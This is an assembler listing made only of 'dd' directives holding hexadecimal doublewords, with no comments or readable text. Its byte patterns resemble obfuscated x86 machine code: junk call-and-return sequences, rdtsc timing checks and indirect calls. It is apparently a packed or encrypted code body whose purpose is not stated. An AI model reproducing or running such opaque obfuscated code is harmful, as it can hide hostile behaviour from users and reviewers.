		dd 7E8h, 2DD88600h, 3A9F5D9Bh, 33F59D89h, 0FF5B06A8h, 0ABA227B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 800F31C4h, 5, 0A2F8CEBBh, 1D95FF33h, 8B06A81Eh
		dd 0A8321D9Dh, 14E99606h, 0BF000000h, 0DF698791h, 912E5BCFh
		dd 3A4B9540h, 0CA37D555h, 502241F1h, 69343ABBh,	6A9621h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0D25DD4C3h, 27B5FF8Ch, 8106ABA2h, 0D7047DEFh, 3880F06h
		dd 66000000h, 95FFDE8Bh, 6A82A69h, 5352EB80h, 0D5953360h
		dd 8906A805h, 0A83229BDh, 835F6106h, 0A82E3DBDh, 840F0006h
		dd 73h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah
		dd 43C35545h, 0AD0D7618h, 853114F0h, 6A80BD5h, 14850F96h
		dd 0E9000000h, 0Fh, 8E55CD3Ch, 2874B18Eh, 0D40674B7h, 50CD17E2h
		dd 0C942EABFh, 6A965Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0AAD27BC3h, 9A3F409Bh, 0A1B5893Ch
		dd 0FF06A81Ah, 0ABA227B5h, 95FFF906h, 6A83185h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F9C35747h, 983A5480h
		dd 0C242FB19h, 1AD8D31h, 0B5FF06A8h, 6ABA227h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 0F5595FFh
		dd 0BD8B06A8h, 6A81BA1h, 0BD836FB7h, 6A8077Dh, 82840F02h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 54B9C351h, 80BD1F2Dh, 0D19858Bh
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 358DD7C3h, 880F3D91h, 6, 31B99D2Bh, 0C606A8h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0D0127FD9h, 0F6044D4h, 0B589D0BFh, 6A82559h
		dd 0C185C761h, 6A80Dh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0FEFEC352h
		dd 0F64730Eh, 1BE9F8BFh, 0E8FFFFF3h, 8,	6309A631h, 0AB9EBE27h
		dd 2FB98501h, 8B5F06A8h, 0FBB70FC1h, 3385858Dh,	0BE806A8h
		dd 0A5000000h, 82013818h, 99C63DE7h, 8DB3F1DBh,	8B66905Fh
		dd 525050D8h, 10E851h, 0F5B60000h, 1D195246h, 98FE002Ch
		dd 3CC6669Dh, 5F5BFD79h, 8E8310Fh, 2000000h, 63E3EFA3h
		dd 6005C581h, 585A5B61h, 1CBB6690h, 0E9006A52h,	0Bh, 0E580F0F9h
		dd 6CE6052Ah, 6A88B34Bh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0D5CBDF45h, 0A55154CDh
		dd 9D2B7899h, 6A81EC1h,	97E0858Dh, 6A06ACh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0EEC460C3h
		dd 564BEBB2h, 33A19529h, 605F06A8h, 0E9BD33F8h,	6106A829h
		dd 6A05C083h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 863DC351h, 0B7531B71h,	68D0F60h
		dd 0F000000h, 8Bh, 7D9D8B00h, 6106A826h, 14E850h, 72E80000h
		dd 59DA6D8Eh, 7CEBEDEEh, 0D00638B7h, 0EC2D7BB8h, 0BB6695AAh
		dd 895BA915h, 90B72404h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 5DB30EC3h, 28929EE7h
		dd 0CB81006Ah, 1AB427CFh, 254195FFh, 6A06A8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0E09FA3C3h
		dd 33A64BD1h, 0D88ACE27h, 8C7F8D8Dh, 6A06ABh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 528BE5C3h
		dd 82DE7EACh, 3820F6Eh,	80000000h, 0DB80CBF3h, 83D1FFA1h
		dd 0A8339DBDh, 850F0106h, 61h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 89C35040h, 18588413h, 66C0BF66h
		dd 0E8B3026Ah, 0FBBF6650h, 2404895Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0A3C35545h,	95FF0D83h, 6A81E1Dh
		dd 8E9h, 0EAABBA00h, 0F26F6351h, 0E04E98Ah, 0E80000h, 5D000000h
		dd 97EAED81h, 0C78006ACh, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 711B1F9Bh
		dd 0D93A7796h, 858D2378h, 6AB7E2Eh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 48C35646h, 9D2B2254h, 6A831DDh
		dd 50515090h, 5A310F52h, 505F5F58h, 310F5250h, 0FE85250h
		dd 0DF000000h, 74739E56h, 0A2B22F52h, 198926Eh,	0F5B82E2h
		dd 5A585A31h
		dd 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 4BE1CAC3h, 0FACD4B16h, 0F9B7E90Dh, 5E8h
		dd 59FAE00h, 0B589F1D9h, 6A8342Dh, 35FF645Fh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 5AC35646h
		dd 0CD03222Eh, 0F8AB6022h, 258964F9h, 0
		dd 2D98589h, 8B6606A8h,	0F185FFFEh, 3306A833h, 0A832F59Dh
		dd 81FF6A06h, 0C0C948E3h, 0FDB5FF48h, 6A06A805h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0F976C350h, 66FD3B10h, 0FFF5FE8Bh, 0A82A7D95h, 14AE906h
		dd 8B600000h, 0A81BA18Dh, 14E906h, 0EE380000h, 694F5B9Eh
		dd 4BCC70D7h, 6C376753h, 709718CAh, 0B061960Ch,	0CE96000h
		dd 0B0000000h, 2D798CB7h, 41340172h, 8B30148Fh,	0A83071BDh
		dd 70E66106h, 71E4D88Bh, 1B3D9D29h, 613C06A8h, 0FA830Fh
		dd 9D8B0000h, 6A826B1h,	89C8B60Fh, 0A806B1B5h, 6BA06h
		dd 77BB0000h, 8B1CDB03h, 0C1DE8BC1h, 0DEBB04E8h, 66423012h
		dd 2BF9E2F7h, 0F58D09C8h, 8B06A80Dh, 0F38166D1h, 7E9CA2Fh
		dd 51000000h, 1366C6BFh, 858B5B64h, 6A83005h, 68D0Fh, 0BD8B0000h
		dd 6A8166Dh, 8B07C083h,	0A834199Dh, 0C08306h, 7F9B529h
		dd 0D03B06A8h, 27830Fh,	0B5290000h, 6A81F29h, 7FE9h, 13E800h
		dd 53F70000h, 864DB613h, 5F7C001h, 9B973921h, 0ED9B5DBFh
		dd 0FBB70F56h, 0ED8D8B5Bh, 6606A801h, 0E183FE8Bh, 51840F01h
		dd 81000000h, 3D6391F3h, 10E84Dh, 8D050000h, 0A752DCEBh
		dd 256D5BE4h, 0A661A1BBh, 5FFC3779h, 1EDA583h, 66FE06A8h
		dd 89251BBBh, 0A8300595h, 7E806h, 90B10000h, 0FFA8DA92h
		dd 0CE938h, 0D8E20000h,	53F3FD09h, 0B5EE514Fh, 0E95FB986h
		dd 0
		dd 0FAE9B58Dh, 0FB8B06ABh, 0D1BF006Ah, 0FF109B4Dh, 0A81B3195h
		dd 6840F06h, 29000000h,	0A834198Dh, 86FB906h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 3C3CDBC3h, 5C7BD98Fh, 202294BFh, 5FBF6603h, 0FCE183EBh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0BDC35040h
		dd 0C4F07D7Eh, 0CE97Eh,	307A0000h, 0EF8E244Eh, 4F86E3E4h
		dd 6AFC1E6Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0EA03C350h, 43F608D9h,	2BF98DDEh
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 90142F24h, 0BAh,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0F4216E0h
		dd 0FF2EA1DEh, 0C233AD6Eh, 0D003E8D1h, 7504E983h, 53006AF4h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 20D3F7EEh, 7E97E0Bh,	41000000h, 81500EDDh, 0B58990B4h
		dd 6A817C5h, 880Dh, 958BF800h, 6A805B9h, 28D0Fh, 0F0B70000h
		dd 14698D8Bh, 0BB6606A8h, 8B50459Bh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	1D85BD8Bh, 0BD8B06A8h, 6A81765h
		dd 2B899D89h, 0BD8306A8h, 6A80C91h, 0A5840F00h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 3A7FC357h, 0D0C50A11h, 0B8E8A1h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0AA02C351h, 0CDFFE3EBh, 0B98D89E6h, 2306A82Dh
		dd 0A826319Dh, 0AF8D8D06h, 6A06A84Fh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8021C356h
		dd 0E1FF5FE3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0EDC35343h, 5EE64707h, 0BD2B09A4h, 6A81A65h, 0BBDBD83h
		dd 0F0006A8h, 48184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 5AFE47Bh, 0A39E46A9h
		dd 13E9FDABh, 94000000h, 0CC0D2FD3h, 53F1CCD6h,	0A66C33A5h
		dd 0DD60E45Eh, 0BD83F657h, 6A80BBDh, 52840F01h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E949C355h, 0Dh, 0BC9F0F89h, 91703273h, 0A2121192h
		dd 0BDBD838Eh, 306A80Bh, 3E1860Fh, 0BD030000h, 6A80ADDh
		dd 664AB760h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 9DAA44C3h, 0DECE9DB0h, 0E1804FD2h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0F46FB5A1h, 0FAC8C389h, 0C90A14FAh, 17F840Fh
		dd 0BD8B0000h, 6A82649h, 6830Fh, 0BD890000h, 6A82F81h
		dd 0BE1858Bh, 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0AA9138C3h, 7CB41D8h, 0B529E285h
		dd 6A82151h, 1D5D8533h,	0BF0F06A8h, 500DB7DBh, 89FB8B66h
		dd 0BE92404h, 0DD000000h, 6C61676Dh, 94C3754Ch,	6A8E16h
		dd 756FBB66h, 7AE8D168h, 0E9525055h, 0Dh, 70913EB1h, 25EB9426h
		dd 0A7078D69h, 50310F43h, 0F525052h, 0F585A31h,	0FA8B6631h
		dd 585A585Ah, 2E243481h, 6A5565EBh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A81DC356h
		dd 0A232E518h, 13E950h,	81930000h, 0BAFE1295h, 0F3327CF8h
		dd 47ED32BEh, 0CF85D22Ch, 810F5F21h, 8,	0DBD8B51h, 5B06A815h
		dd 74195FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0DE4155C3h, 8C545263h, 860F2844h
		dd 6, 29BDBD0Bh, 0BF6606A8h, 85897E3Ch,	6ABA227h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 98C35343h, 6533CC58h
		dd 7EAA07CAh, 0DF81664Ch, 0D0E9A645h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 93D4C356h, 0B70F9177h, 3A294055h, 1D8850BFh,	1F858B17h
		dd 6A06ABA2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 685AC353h, 890F1F84h, 0Bh, 58E0Fh
		dd 81660000h, 0C7C878F7h, 1800h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 506CE54Ah
		dd 0B58BB8BFh, 6ABA223h, 858BD98Bh, 6A82B7Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CCC35545h, 39BD8B96h
		dd 8B06A832h, 0E90689D8h, 10h, 33E1A2D7h, 0A563E768h, 9A3C4C3h
		dd 0B4B07E46h, 0BE1858Bh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 551EFEC3h, 69AC1311h
		dd 9D8BD88Bh, 6A80A75h,	6A044689h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 995FC357h
		dd 13D5A992h, 4E7E9C50h, 53965096h, 2E058589h, 0FF5F06A8h
		dd 0ABA21FB5h, 1ED78106h, 0E8076255h, 4, 1F03FFh, 0F38B6660h
		dd 411F02BEh, 66506165h, 8B7AA2BBh, 66042444h, 8BC4EABBh
		dd 89D98B00h, 8B042444h, 0EB8058F9h, 27858D82h,	0F06ABA2h
		dd 68Fh, 85B52900h, 5006A819h, 3E3EFBBh, 2404890Eh, 8E9h
		dd 821C9500h, 0B4624834h, 4195FFBBh, 6A06A807h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0D460C353h, 0BE8h, 7CE05400h, 2B47F2DAh, 98F92E13h
		dd 1E218D89h, 615B06A8h, 16BD9D8Bh, 9D3106A8h, 6A81AA1h
		dd 0BBD85C7h, 306A8h, 83F50000h, 0ABA227BDh, 840F0006h
		dd 37h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
		dd 0ECC35343h, 1AEC7D42h, 810F3CBCh, 0ADC6D9CBh, 0DABF0F00h
		dd 21E9h, 0F5858900h, 5006A802h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0B589C08Bh, 6A807BDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 52C35747h, 83ADCDA4h
		dd 0A80BBDBDh, 850F0306h, 417h,	0A227BD83h, 0F0006ABh
		dd 40A84h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0FD29DD2Ah, 0C092E6D3h, 0B5FFDD8Ah
		dd 6ABA227h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	7FC35040h, 3A219484h, 0F063123h, 95FFFEBFh, 6A815F9h
		dd 0E3DBD29h, 0B58B06A8h, 6ABA21Bh, 0C7FFBF0Fh,	1000106h
		dd 11BD8900h, 5006A825h, 0A1D1DBBBh, 24348901h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 24C35747h, 0E0EDD5EBh
		dd 0CACA761Fh, 0CF816096h, 3FC6B6C2h, 3161CDB0h, 0A80FF98Dh
		dd 27B5FF06h, 6A06ABA2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0BDC8C353h
		dd 89FD2F43h, 0FF13D27Ah, 0A8219995h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 85F945A7h, 0BD0301E4h, 6A80211h, 0A21BB58Bh,	9D8B06ABh
		dd 6A81FF9h, 0E41858Bh,	6A06A8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 115F49C3h, 5736F675h
		dd 2B19D89h, 895B06A8h,	0C486h,	95850900h, 8B06A82Ah, 0A805B995h
		dd 108C0F06h, 0E8000000h, 8, 56392Eh, 2C53E2F8h, 835B71B3h
		dd 0E78004C2h, 205089A9h, 0A6BC06BFh, 0CE858D48h, 6A06ABB7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 89BBC350h, 0A822D9B5h, 0B8868906h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0BD7AC357h, 5B47620Dh, 0D1B589A6h, 8B06A828h
		dd 0A81FAD9Dh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 16B2C357h, 0AFC5332Ch
		dd 0BD8B845Ch, 6A81E39h, 9E9h, 3F611800h, 5F101DB5h, 8166B1DEh
		dd 0FF58DAEFh, 0ABA227B5h, 1D95FF06h, 6A06A81Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 50CCC357h, 1CC41E5Fh, 96FBBF0Fh, 9650FA8Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0DFC35343h, 0FFB6954Dh
		dd 0ABA227B5h, 0C8A0F06h, 0F000000h, 681h, 99958900h, 0FF06A826h
		dd 0A82A6995h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 12F53AEBh, 48E0F52h, 66000000h
		dd 5F3230BBh, 2E3DBD83h, 0F0006A8h, 1B84h, 0BD858900h
		dd 5006A80Ch, 6E9h, 517F2E00h, 89DB313Eh, 0BD012434h, 6A80D61h
		dd 0A227B5FFh, 6A06ABh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0D6E64FC3h, 8B0F0376h, 12h, 0DE9h
		dd 0F0C02400h, 602E08A1h, 0BA3A0E87h, 95FF747Ch, 6A83185h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2DC35343h
		dd 0D09C22F1h, 0B5FF1A7Eh, 6ABA227h, 7E960h, 6D7A0000h
		dd 0D44EA00Eh, 0E78166EAh, 0FF61BC89h, 0A80F5595h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 920A198h, 831CB915h,	0A8077DBDh, 840F0206h, 30h, 19858BF8h
		dd 6A06A80Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 1183C352h, 8B66C191h, 0C6FAh
		dd 1A54BB66h, 0DC185C7h, 6A8h, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0A3E132C3h
		dd 0A58629D4h, 0FE8F208h, 0C2000000h, 0F35D6709h, 1F18C233h
		dd 0E4D73DFEh, 8B0F338Bh, 6, 15ED9589h,	0E95B06A8h, 0FFFFF33Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 13C35040h
		dd 63BF4144h, 0E5A46A3Dh, 0B58B60C6h, 6A819C5h,	8B6DB361h
		dd 8CCCBFC1h, 858D2F8Fh, 6A83385h, 1A598D89h, 90F906A8h
		dd 50D88B66h, 0E880Fh, 0E9600000h, 7, 0ECCA480Ch, 612865B9h
		dd 0DB816690h, 6A1C23h,	0C0D9D29h, 6A06A8h, 9019589h, 858D06A8h
		dd 6ACA829h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0FAC35040h, 8B4D7C29h, 0A827FD9Dh, 5C08306h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 80C35141h, 24A8E974h
		dd 684BD370h, 0D38156CFh, 7DB66C20h, 1B850F5Bh,	60000000h
		dd 0EE9h, 4EA17E00h, 74BFBC0Bh,	5716BF8Eh, 0F7D54C9h, 81h
		dd 8B906100h, 0D98B50FBh, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0E78119D9h
		dd 301611Ch, 6860Fh, 0BD8B0000h, 6A82E25h, 0E381006Ah
		dd 59652D74h, 56FCBF66h, 0BB66006Ah, 95FF590Bh,	6A82541h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7FC35646h
		dd 0BB1B1978h, 0E8556E8Fh, 0Bh,	0F1DE1F38h, 4119EE0Dh
		dd 609F31BAh, 51D18166h, 895B6199h, 0A829F19Dh,	0C18D8906h
		dd 8D06A80Fh, 0AB8C7F8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0B1ED0C7Dh
		dd 85CE3219h, 860F52F3h, 0
		dd 6AD1FF5Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0A855C353h, 60506D80h,	0BE9h
		dd 7B1D300h, 7367CF9Bh,	2FBD90Fh, 5E8h,	496A4000h, 615AE730h
		dd 9DBD835Bh, 106A833h,	74850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 299994C3h
		dd 0FD9D8960h, 0E906A815h, 13h,	1E131B31h, 603D7150h, 0CAC985FCh
		dd 0A2727453h, 61B9A9AEh, 0F381026Ah, 4B659041h, 26BF6690h
		dd 0E9605098h, 10h, 0EB013348h,	95BCE930h, 7FE905EFh, 0D36B60E2h
		dd 0A9F7BA66h, 0CF819061h, 75C774C0h, 1E1D95FFh, 71E906A8h
		dd 0E800000Ch, 0
		dd 33ED815Dh, 6606ACA8h, 0E8673DBBh, 0Ch, 571BB5B5h, 4A4F6674h
		dd 0FA0C142Bh, 5FB1DB80h, 7E2E858Dh, 6A06ABh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 463510C3h
		dd 9FB6092h, 0A83315B5h, 6650F806h, 899EEABBh, 9D8B2404h
		dd 6A833D5h, 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 5F04C357h, 0E5B58922h
		dd 6406A80Ch, 2589h, 0BD290000h, 6A820B1h, 810Fh, 85FF0000h
		dd 6A833F1h, 0FF6AD98Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 2FC35545h, 1486A09h, 0A801D18Dh, 41B5FF06h
		dd 8B06A80Dh, 0A82801BDh, 7D95FF06h, 0E906A82Ah, 133h
		dd 14E9h, 58A26C00h, 74682A16h,	5BC362B1h, 9F890832h, 5BAB71B6h
		dd 0E800B01Ah, 13h, 0BD513C5Eh,	50FAFE52h, 9B27B65Dh, 693FE52Fh
		dd 66435427h, 0E65BDF8Bh, 7E970h, 0E6440000h, 0D70167CDh
		dd 71E4F958h, 613CF88Bh, 0E1830Fh, 8B660000h, 0C8B60FDAh
		dd 95B3BB66h, 6BAh, 35B52900h, 8B06A825h, 0DBD89C1h, 6606A825h
		dd 0E8C1DE8Bh, 0AE804h,	1F830000h, 76401CB3h, 22838245h
		dd 665FFE8Bh, 8F0FE2F7h, 6, 3409BD8Bh, 0C82B06A8h, 0D18BA3B7h
		dd 9958B60h, 0B06A80Fh,	0A82621B5h, 0AE96106h, 31000000h
		dd 0A818018Dh, 7BBF6606h, 0B9858B1Fh, 0B06A80Ah, 0A815299Dh
		dd 7C08306h, 8E9h, 0F4AC5000h, 41DAC5B4h, 0C083F5h, 21DBD8Bh
		dd 0D03B06A8h, 0E830Fh,	9D8B0000h, 6A800CDh, 40E9D98Bh
		dd 0FC000000h, 1A6D8D8Bh, 890F06A8h, 0
		dd 0F01E183h, 2A84h, 0F57F500h,	688h, 8A0F00h, 5B000000h
		dd 1A6DA583h, 0FFE06A8h, 9589DEBFh, 6A80AB9h, 21618589h
		dd 0E906A8h, 8D000000h,	0AC0599B5h, 45BD8B06h, 6A06A80Eh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 46141552h, 0FFD4A993h, 0A81B3195h, 3DBD8B06h
		dd 0B906A80Eh, 83Bh, 1769BD89h,	0E18306A8h, 57006AFCh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 7ACD17Bh, 814BDDACh,	0FB6B65EBh, 0E780FC62h,	0B8DBh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0A30436C3h, 0BA5F57C9h, 0
		dd 0C233ADF5h, 0D003E8D1h, 7504E983h, 0C9BD89F4h, 0BB06A80Dh
		dd 1F046232h, 880Dh, 0A2BB00h, 958B4EC9h, 6A805B9h, 24DDBD8Bh
		dd 8D8B06A8h, 6A81469h,	1619D31h, 8B5006A8h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0ACC35747h,	0BFDA2375h, 6A685E42h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 2D06C351h, 0DF13CA89h, 289A9349h,	0C91BD83h
		dd 0F0006A8h, 4C84h, 7E95200h, 0C1000000h, 1E80E3DEh, 0B85F3327h
		dd 0
		dd 22D9B589h, 8D8D06A8h, 6A84FAFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 41C35747h, 5F3FEB26h, 0EA1A8AF7h
		dd 8BE1FF0Ah, 0A80BD9BDh, 0BDBD8306h, 6A80Bh, 3FC840Fh
		dd 0B5290000h, 6A800C1h, 0BBDBD83h, 0F0106A8h, 40484h
		dd 5DB58900h, 8306A816h, 0A80BBDBDh, 860F0306h,	3BBh, 84BF6660h
		dd 0D98C66E4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0CC35343h, 9D890538h, 6A80921h,	6A04E180h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 1C46C352h, 88801D65h, 840FC90Ah, 0C8h, 0A9BD8Bh, 858B06A8h
		dd 6A80BE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	5DC35343h, 1D5D8533h, 9D8B06A8h, 6A8174Dh, 52506050h
		dd 310FC78Bh, 0C28B585Ah, 24048961h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0E5C35747h,	6860Fh,	8D310000h
		dd 6A81EC5h, 8B52006Ah,	0A81E49BDh, 0BE685F06h,	5028E6DDh
		dd 5FF88B66h, 41243481h, 5628F9DEh, 27698501h, 0FF5B06A8h
		dd 0A8074195h, 8589FC06h, 6ABA227h, 8E8h, 67209F00h, 0E45AFFFAh
		dd 0EE9ACh, 56080000h, 4535D941h, 0E796E1CFh, 6B748A71h
		dd 230E95Bh, 9D8B0000h,	6A80DA1h, 0A21F858Bh, 0BD8B06ABh
		dd 6A81D51h, 1800C7h, 0BB660000h, 0B58B5DC7h, 6ABA223h
		dd 0C974B2BFh, 7D858B32h, 6A06A82Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 1293C351h
		dd 14E8h, 8925CB00h, 2CEA8CB2h,	88E52EA7h, 0CF176445h
		dd 776B3423h, 2DBD8B79h, 5F06A82Eh, 6A0689h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 9259F6C3h
		dd 0BE1858Bh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8B7D25C3h, 0A814DD9Dh, 9D952906h
		dd 8906A819h, 6A0446h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 177588C3h, 0A0882A36h, 66D88BF8h
		dd 5050D98Bh, 66525052h, 0F8E18BBh, 0C113BF31h,	585A6B8Ch
		dd 585A310Fh, 6A243489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 7E30C353h, 0E9DBE17Ah
		dd 0Ch,	4BAE749Fh, 0D6B88545h, 0F3874B80h, 0A21FB5FFh
		dd 6A06ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F7705C3h, 68Dh, 890F00h,	68000000h, 0A90FA01h
		dd 10E8h, 34AC9000h, 352AF542h,	0E9C51D48h, 3A754D3Fh
		dd 0BDBB66DFh, 34815F45h, 8FF9FE24h, 51006A0Ah,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 9D891554h
		dd 6A832A5h, 0F99D01F8h, 8D06A80Bh, 0ABA22785h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 880F50F7h, 0
